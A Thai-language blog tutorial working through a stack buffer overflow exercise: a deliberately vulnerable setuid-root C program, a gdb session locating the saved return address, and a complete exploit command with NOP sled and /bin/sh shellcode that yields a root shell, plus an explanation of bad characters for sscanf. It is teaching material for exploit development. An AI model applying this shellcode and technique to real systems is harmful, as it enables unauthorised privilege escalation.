Saturday, January 8, 2011

Buffer Overflow ให้โปรแกรม spawn shell (แบบฝึกหัด 2)

มาทำกันอีกซักแบบฝึกหัด ครั้งนี้ผมใช้ sscanf ในการรับค่าจาก argv[1] ลองทำก่อนอ่านเฉลยนะครับ

แบบฝึกหัด2 (ex_06_4.c)

/*
gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_06_4 ex_06_4.c
sudo su -c "chown root: ex_06_4;chmod 4755 ex_06_4"
*/
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buf[7];

  sscanf(argv[1], "%s", buf);

  return 0;
}

ในแบบฝึกหัดนี้ ให้ใช้ shellcode สำหรับ execve อันนี้นะครับ

# execve("/bin/sh", { "/bin/sh", NULL }, NULL) 26 bytes
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x7b\x34\x70\xcd\x80"

เฉลย

จาก code น่าจะเห็นกันแล้วว่า buf มีขนาดแค่ 7 bytes เล็กอย่างนี้แล้วเราจะใส่ shellcode เข้าไปได้ไง???

สังเกตในแบบฝึกหัดที่1 มั้ยครับว่า ผมเขียนข้อมูลเกิน saved eip ไปด้วย สิ่งที่ผมอยากให้เห็นในแบบฝึกหัดนี้คือ นอกจากเราจะเขียน shellcode ใน buf เรายังสามารถเขียนไว้หลัง saved eip ด้วย ดังนั้นแทนที่เราจะหา address ของ buf ที่เป็นจุดเริ่มของ shellcode แล้ว เราก็ต้องหา address ถัดจาก address ที่เก็บ saved eip

ก่อนอื่น เรามา gdb หา address ของ saved eip กัน :)

$ gdb -q ./ex_06_4
Reading symbols from /home/worawit/tutz/ch06/ex_06_4...(no debugging symbols found)...done.
(gdb) disas main
... # ขอละ
   0x080483fa <+22>:    lea    0x19(%esp),%ecx  # buf อยู่ที่ address esp+0x19
   0x080483fe <+26>:    mov    %ecx,0x8(%esp)
   0x08048402 <+30>:    mov    %edx,0x4(%esp)
   0x08048406 <+34>:    mov    %eax,(%esp)
   0x08048409 <+37>:    call   0x8048310 <__isoc99_sscanf@plt>
... # ขอละ
(gdb) b *0x080483fa
Breakpoint 1 at 0x80483fa
(gdb) r `perl -e 'print "U"x200'`
Starting program: /home/worawit/tutz/ch06/ex_06_4 `perl -e 'print "U"x200'`

Breakpoint 1, 0x080483fa in main ()
(gdb) i f
Stack level 0, frame at 0xbffff650:
 eip = 0x80483fa in main; saved eip 0x154bd6
 Arglist at 0xbffff648, args:
 Locals at 0xbffff648, Previous frame s sp is 0xbffff650
 Saved registers:
  ebp at 0xbffff648, eip at 0xbffff64c  # <== ดู address ของ saved eip ตรงนี้
(gdb) q

ได้ address เริ่มของ shellcode เราแล้วคือ 0xbffff64c+4=0xbffff650 แต่สังเกตกันหรือเปล่าว่า buf อยู่ที่ address esp+0x19 จากที่ผมให้ลองก่อนจบในแบบฝึกหัดที่1 เพื่อให้เห็นเราต้องเขียนทับตัว saved eip ให้ตรงพอดี ดังนั้นเราจะต้องใส่ขยะลงไป 3 bytes เพื่อเลื่อนให้ address ที่เราจะเขียนทับ saved eip ตรงพอดี ตามรูป (ถ้าไม่เข้าใจ ลองใช้ gdb ช่วยดูค่าใน memory นะครับ)

ดังนั้น exploit ของเราจะเป็น

$ ./ex_06_4 `perl -e 'print "UUU" . "\x50\xf6\xff\xbf"x10 . "\x90"x200 . "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x7b\x34\x70\xcd\x80"'`
# id
uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)
# exit

มีใครสงสัยมั้ยครับ ว่าทำไมผมเปลี่ยน execve shellcode และถ้าใครลอง shellcode เดิมดูจะเจอกับ Segmentation fault ไม่ว่าจะทำยังไงก็ตาม

เหตุผลก็คือ เพราะ sscanf() ครับ ลองอ่าน man ดู (คำสั่ง "man sscanf") จะเห็นว่า sscanf() จะอ่านข้อมูลจนถึง white-space characters หรือจบ string (NULL) และไปดูต่อที่ man ของ isspace() จะได้ว่า white-space characters คือตัวอักษร 0x09-0x0d เมื่อเราไปดู shellcode เก่าของเรา จะเห็นว่ามี 0x0b อยู่ ตัวนี้แหละครับที่ทำให้ไม่ได้

ในการเขียน exploit เกือบจะทุกครั้งที่ต้องมีการหาตัวษรที่ใช้ไม่ได้ (เรียกว่า bad chars) เนื่องจากถ้าใส่ไปจะทำให้โปรแกรมรับข้อมูลเราไม่หมด หรือตัวอักษรโดนเปลี่ยนเป็นตัวอื่น ซึ่งผมจะมีการพูดถึงเรื่อง bad chars อีกครั้งในหัวข้อการเขียน Linux x86 Shellcode

2 comments:

  1. ไม่แน่ใจว่าเขียนคำสั่ง sscanf สลับตำแหน่งรึป่าวอ่ะครับ ผมเข้าใจว่ามันน่าจะเป็น

    sscanf(argv[1], "%s", buf);

    เพื่อเอาค่าจาก argv[1] ไปใส่ buf

    ถ้าเป็น sscanf(buf, "%s", argv[1]); มันน่าจะเป็นการเอาค่าจาก buf ไปใส่ argv[1] ซึ่งไม่น่าจะเกิด overflow ได้ หรือผมเข้าใจผิดหว่า ><"

    ReplyDelete
  2. ขอบคุณครับ ไม่รู้ว่า copy จาก vm มายังไงให้มันผิดได้

    ReplyDelete